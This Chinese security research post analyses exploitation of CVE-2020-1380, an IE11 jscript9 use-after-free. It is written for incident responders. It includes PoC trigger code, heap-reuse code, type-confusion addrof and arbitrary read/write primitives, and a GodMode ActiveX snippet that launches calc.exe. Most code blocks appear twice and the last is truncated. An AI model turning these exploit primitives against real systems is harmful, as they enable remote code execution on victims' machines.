从2019年到2020年,Windows平台的ITW|In The Wild| 0day趋势大致上从IE转向了Chrome,针对IE的浏览器攻击依然存在,不过攻击目标从jscript转向了jscript9。
站在威胁响应储备的角度,适当积累一些Chrome 1day的分析和IE 1day的分析知识可以节省后续对同类型漏洞的响应时间。本文随笔者来看一下CVE-2020-1380这个jscript9漏洞。这是今年8月被披露的一个IE在野漏洞,本文将在重点探讨这个漏洞的利用部分|侧重于x86平台|,希望本文可以给后续分析此类漏洞的分析人员带来帮助。
CVE-2020-1380是IE11上jscript9引擎的一个UAF漏洞,其成因是Array.prototype.push的副作用导致JIT引擎数据类型推导错误,漏洞触发的相关细节@iamelli0t 已经在趋势科技的blog 中写的很清楚了。漏洞poc如下:
本文重点来看一下这个漏洞的利用过程,卡巴斯基的blog 和@iamelli0t在看雪峰会上的演讲 都提到了这个漏洞利用的思路,但没有给出完整的利用代码|本文也不会给出完整的利用代码|,笔者借助这些提示对该漏洞利用进行了复现,接下来分享一些在利用编写过程中遇到的关键点。
以poc为例,该漏洞可以导致ab对应的buffer|1.buffer大小可控|在valueOf会掉中被释放,并且会将valueOf的返回值|2.返回值可控|写入到数组b内可控的偏移|3.写入偏移可控|。
鉴于前述1、2、3带来的可控性,一种利用思路是在valueOf回调内用LargeHeapBlock对象去重用被释放的内存。这里有几个问题需要确认:
首先来解决第1个问题,"Hack Away at the Unessential" with ExpLib2 in Metasploit"这篇文章中对LargeHeapBlock对象的申请过程有一个清晰的描述,借鉴这篇文章的思路,笔者采用分配大量Array并进行初始化的方式触发对LargeHeapBlock的申请,如下:
接下来是第2个问题,笔者在调试过程中发现实际申请的LargeHeapBlock是一个变长对象,如果按照《The Art of Leaks: The Return of Heap Feng Shui》中的写法,对new Array传入的参数是0x3bf8,那么实际申请得到的LargeHeapBlock对象大小为0x68,如果按照"Hack Away at the Unessential" with ExpLib2 in Metasploit"中的写法,对new Array传入的参数是(0x1000 - 0x20) / 4,那么实际申请得到的LargeHeapBlock对象大小为0x8c,如果传入的为其他值,实际申请的LargeHeapBlock对象大小会变成其他值。
笔者在实验过程中发现,如果被释放的buffer大小为0x68,在笔者的占位代码重用这块内存之前的某个时刻,系统在某次0x64内存的申请中会重用这块内存,这导致了UAF的不稳定性;如果被释放的buffer大小为0x8c/0x80等,就可以借助LargeHeapBlock对象对释放的内存进行稳定重用,为了描述方便,笔者这里采用0x8c这个大小,代码片段如下:
借助LargeHeapBlock重用被释放的buffer后,一种比较好的思路是将LargeHeapBlock对象的Allocated Block Count字段置为0,32位下这个字段在LargeHeapBlock起始地址的+0x14偏移处,这相当于被释放的buffer(假设该buffer被用于初始化一个Float32Array)的第6个成员。即fa[5]。所以,只需在回调函数中返回0,并且采用fa[5] = obj语句触发回调,就可以在回调结束后将LargeHeapBlock的Allocated Block Count字段置为0。该字段被置位0后,只要手动触发GC,此LargeHeapBlock对象对应的buffer|令其为buffer b|就会被释放。此时如果立即申请新的LargeHeapBlock对象,就可以把buffer b的内存重用:
重用之后,上述代码中的b和c两个数组内将存在两个共用同一块内存的数组,接下来的任务就是把这两个数组在数组b和数组c内对应的索引找出来:
通过上述操作,笔者得到了b[index1]和c[index2]两个Array数组,它们指向同一片内存。得到这两个数组后,如何实现类型混淆呢?比较好的思路是借助对数组元成员赋值时数组类型的自动转换,例如:
上述操作会将c[index2]数组类型转化为Js::JavascriptArray类型,而此时指向同一片空间内的b[index1]数组却是Js::JavascriptNativeIntArray类型,这样就实现了类型混淆。
借助这两个数组的混淆,可以直接实现一个任意对象地址泄露原语leak_obj|即通常所谓的addrof原语|:
接下来需要借助上述两个类型混淆的数组伪造一个可以实现任意地址读写的DataView对象,关于这部分的具体实现和细节描述,古河老师已经在在CVE-2019-1221的代码 中给出了实现,Ox9A82师傅则在安全客 上对构造步骤进行了详细描述|虽然这篇博客写的是x64平台,不过里面描述的原理和现象在x86上是一致的|,这里不再做额外描述。
这样,就得到了一个可以用于任意地址读写的DataView对象,在其基础上即可实现任意地址读写原语:
借助leak_obj原语与read32原语,简单封装一些功能函数即可实现getModuleBase等功能函数,从而泄露jscript9模块的基地址。
前面已经完成对相关原语的构造,最后再讨论3种代码执行的方式。
方式1是借助原语关闭jscript9的GodMode开关,随后就可以使用ActiveX一路开挂,这种思路古河老师在2014年已经公开 。@iamelli0t则在《Look Mom, I dont use Shellcode议题Exploit复现》一文 中对相关细节进行了详细描述,整个代码实现非常简单:
方式2则是古河老师在CVE-2019-1221的代码 中给出的方法,劫持Js::JavascriptOperators::HasItem函数内的一处虚表调用为WinExec,这样也可以实现代码执行:
方式3是经典的覆盖栈上返回地址的方法,这种方法的难点在于如何找到jscript9的函数执行栈。其实pwn.js内的chakraexploit.js模块已经对这种方式进行了实现,chakraexploit.js内给出的是查找x64平台chakra|core|.dll内js函数栈的过程,相关代码引用如下:
上述代码的基本思路是:借助特征码查找定位到以下函数的头部:
取出ThreadContext::globalListFirst的全局地址,从该全局地址中读取ThreadContext实例基址,然后顺着基址定位到ThreadContext的StackLimitForCurrentThread成员。
StackLimitForCurrentThread本身是一段状态为reserved的内存,它并不是chakra|core|.dll内的js执行函数栈,但是每次执行时,这两者之间总是有一个相对固定的偏移,修正这个偏移后就可以定位到chakra|core|.dll内的js函数栈。
由于IE11上的jscript9引擎采用的就是chakra引擎的另一个分支,所以顺着上述思路,笔者很快便对jscript9的js函数执行栈进行了定位|在windbg中,如果加载了符号,可以直接用|? jscript9!ThreadContext::globalListFirst命令|找出ThreadContext::globalListFirst的地址|。
找到js函数栈后,需要挑选一个合适的返回地址进行覆盖,卡巴斯基的blog和@iamelli0t在看雪峰会上的演讲分别描述的是对Js::JavascriptString::EntrySplit和Js::JavascriptString::EntrySlice函数的返回地址进行覆盖,两者大同小异。此外这里进入相关调用的方法也可以继续采用valueOf回调,例如:
上述方式也可以实现代码执行并Bypass CFG:
上周@iamelli0t公开了CVE-2020-17053漏洞的poc,如下:
这是个品相非常好的jscript9解释器漏洞,笔者发现这个漏洞具备的前置条件和CVE-2020-1380完全一致,所以利用思路也完全一致。在CVE-20201380的研究基础上,笔者很快就写出了CVE-2020-17053在Windows 2004 x86上的利用代码,如下|这个例子进一步表明研究最新1day的重要性|:
在本文中,笔者对jscript9引擎内一类借助valueOf回调引发的UAF漏洞的利用过程进行了探索,相关分析思路对此类漏洞存在通用性。
这两年的ITW 0day披露情况表明,在野漏洞已经越来越深入主流浏览器|IE/FireFox/Chrome|的解释器和JIT引擎,与传统漏洞相比,此类漏洞的分析难度较大,这对应急响应人员提出了更高的要求。
https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/ https://www.trendmicro.com/en_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html https://www.trendmicro.com/en_us/research/20/k/cve-2020-17053-use-after-free-ie-vulnerability.html https://blog.rapid7.com/2014/04/07/hack-away-at-the-unessential-with-explib2-in-metasploit/ https://www.anquanke.com/post/id/98774 https://zhuanlan.kanxue.com/article-14133.htm https://www.freebuf.com/vuls/189887.html https://github.com/rolinston/explib2 https://github.com/guhe120/browser/blob/master/GC/jit_calc.html http://theori.io/pwnjs/chakraexploit.js.html https://cansecwest.com/slides/2014/The%20Art%20of%20Leaks%20-%20read%20version%20-%20Yoyo.pdf
var ab
=
new ArrayBuffer(
0x8c
);
var fa
=
new Float32Array(ab);
var obj
=
{};
obj.valueOf
=
function() {
worker
=
new Worker(
'worker.js'
);
worker.postMessage(ab, [ab]);
worker.terminate();
worker
=
null;
var start
=
Date.now();
while
(Date.now()
-
start <
200
) {}
return
0
};
function opt(a, b, c, d) {
a
=
1
;
arguments.push
=
Array.prototype.push;
arguments.length
=
0
;
arguments.push(d);
if
(c) {
a
=
2
;
}
b[
0
]
=
a;
};
for
(var i
=
0
; i <
0x100000
; i
+
+
) {
opt(
1
, fa,
1
,
1
);
}
opt(
1
, fa,
0
, obj);
var ab
=
new ArrayBuffer(
0x8c
);
var fa
=
new Float32Array(ab);
var obj
=
{};
obj.valueOf
=
function() {
worker
=
new Worker(
'worker.js'
);
worker.postMessage(ab, [ab]);
worker.terminate();
worker
=
null;
var start
=
Date.now();
while
(Date.now()
-
start <
200
) {}
return
0
};
function opt(a, b, c, d) {
a
=
1
;
arguments.push
=
Array.prototype.push;
arguments.length
=
0
;
arguments.push(d);
if
(c) {
a
=
2
;
}
b[
0
]
=
a;
};
for
(var i
=
0
; i <
0x100000
; i
+
+
) {
opt(
1
, fa,
1
,
1
);
}
opt(
1
, fa,
0
, obj);
for
(var i
=
0
; i <
0x200
;
+
+
i) {
a[i]
=
new Array((
0x1000
-
0x20
)
/
4
);
for
(var j
=
0
; j < a[i].length;
+
+
j)
a[i][j]
=
0x111
;
}
for
(var i
=
0
; i <
0x200
;
+
+
i) {
a[i]
=
new Array((
0x1000
-
0x20
)
/
4
);
for
(var j
=
0
; j < a[i].length;
+
+
j)
a[i][j]
=
0x111
;
}
obj.valueOf
=
function() {
/
/
free
worker
=
new Worker(
'worker.js'
);
worker.postMessage(ab, [ab]);
worker.terminate();
worker
=
null;
/
/
sleep
var start
=
Date.now();
while
(Date.now()
-
start <
200
) {}
for
(var i
=
0
; i <
0x200
;
+
+
i) {
b[i]
=
new Array((
0x1000
-
0x20
)
/
4
);
for
(var j
=
0
; j < b[i].length;
+
+
j)
b[i][j]
=
0x666
;
}
return
0
;
};
obj.valueOf
=
function() {
/
/
free
worker
=
new Worker(
'worker.js'
);
worker.postMessage(ab, [ab]);
worker.terminate();
worker
=
null;
/
/
sleep
var start
=
Date.now();
while
(Date.now()
-
start <
200
) {}
for
(var i
=
0
; i <
0x200
;
+
+
i) {
b[i]
=
new Array((
0x1000
-
0x20
)
/
4
);
for
(var j
=
0
; j < b[i].length;
+
+
j)
b[i][j]
=
0x666
;
}
return
0
;
};
CollectGarbage();
for
(var i
=
0
; i <
0x200
;
+
+
i) {
c[i]
=
new Array((
0x1000
-
0x20
)
/
4
);
for
(var j
=
0
; j < c[i].length;
+
+
j)
c[i][j]
=
0x888
;
}
CollectGarbage();
for
(var i
=
0
; i <
0x200
;
+
+
i) {
c[i]
=
new Array((
0x1000
-
0x20
)
/
4
);
for
(var j
=
0
; j < c[i].length;
+
+
j)
c[i][j]
=
0x888
;
}
for
(var i
=
0
; i < b.length; i
+
=
1
) {
if
(b[i][
0
]
=
=
0x888
) {
index1
=
i;
b[i][
0
]
=
0x666
;
break
;
}
}
for
(var i
=
0
; i < b.length; i
+
=
1
) {
if
(c[i][
0
]
=
=
0x666
) {
index2
=
i;
break
;
}
}
for
(var i
=
0
; i < b.length; i
+
=
1
) {
if
(b[i][
0
]
=
=
0x888
) {
index1
=
i;
b[i][
0
]
=
0x666
;
break
;
}
}
for
(var i
=
0
; i < b.length; i
+
=
1
) {
if
(c[i][
0
]
=
=
0x666
) {
index2
=
i;
break
;
}
}
c[index2][
0
]
=
{};
var int_arr
=
b[index1];
var obj_arr
=
c[index2];
function leak_obj(obj) {
obj_arr[
2
]
=
obj;
return
int_arr[
2
];
}
var int_arr
=
b[index1];
var obj_arr
=
c[index2];
function leak_obj(obj) {
obj_arr[
2
]
=
obj;
return
int_arr[
2
];
}
function read32(addr) {
fake_obj[
7
]
=
addr;
low4
=
DataView.prototype.getUint16.call(obj_arr[
1
],
0
, true);
high4
=
DataView.prototype.getUint16.call(obj_arr[
1
],
2
, true);
value
=
(high4 <<
16
)
+
low4;
return
value;
}
function write32(addr, value) {
fake_obj[
7
]
=
addr;
low4
=
0xffff
& value;
high4
=
(
0xffff0000
& value) >>
16
;
DataView.prototype.setUint16.call(obj_arr[
1
],
0
, low4, true);
DataView.prototype.setUint16.call(obj_arr[
1
],
2
, high4, true);
}
function read32(addr) {
fake_obj[
7
]
=
addr;
low4
=
DataView.prototype.getUint16.call(obj_arr[
1
],
0
, true);
high4
=
DataView.prototype.getUint16.call(obj_arr[
1
],
2
, true);
value
=
(high4 <<
16
)
+
low4;
return
value;
}
function write32(addr, value) {
fake_obj[
7
]
=
addr;
low4
=
0xffff
& value;
high4
=
(
0xffff0000
& value) >>
16
;
DataView.prototype.setUint16.call(obj_arr[
1
],
0
, low4, true);
DataView.prototype.setUint16.call(obj_arr[
1
],
2
, high4, true);
}
function run_shellcode() {
var shell
=
new ActiveXObject(
"WScript.shell"
);
shell.Exec(
"calc.exe"
);
}
var leak_activex_addr
=
leak_obj(ActiveXObject);
var script_engine
=
read32(read32(leak_activex_addr
+
0x1c
)
+
0x04
);
var safe_mode
=
script_engine
+
0x1F4
;
/
/
turn on god mode
write32(safe_mode,
0
);
run_shellcode();
function run_shellcode() {
var shell
=
new ActiveXObject(
"WScript.shell"
);
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!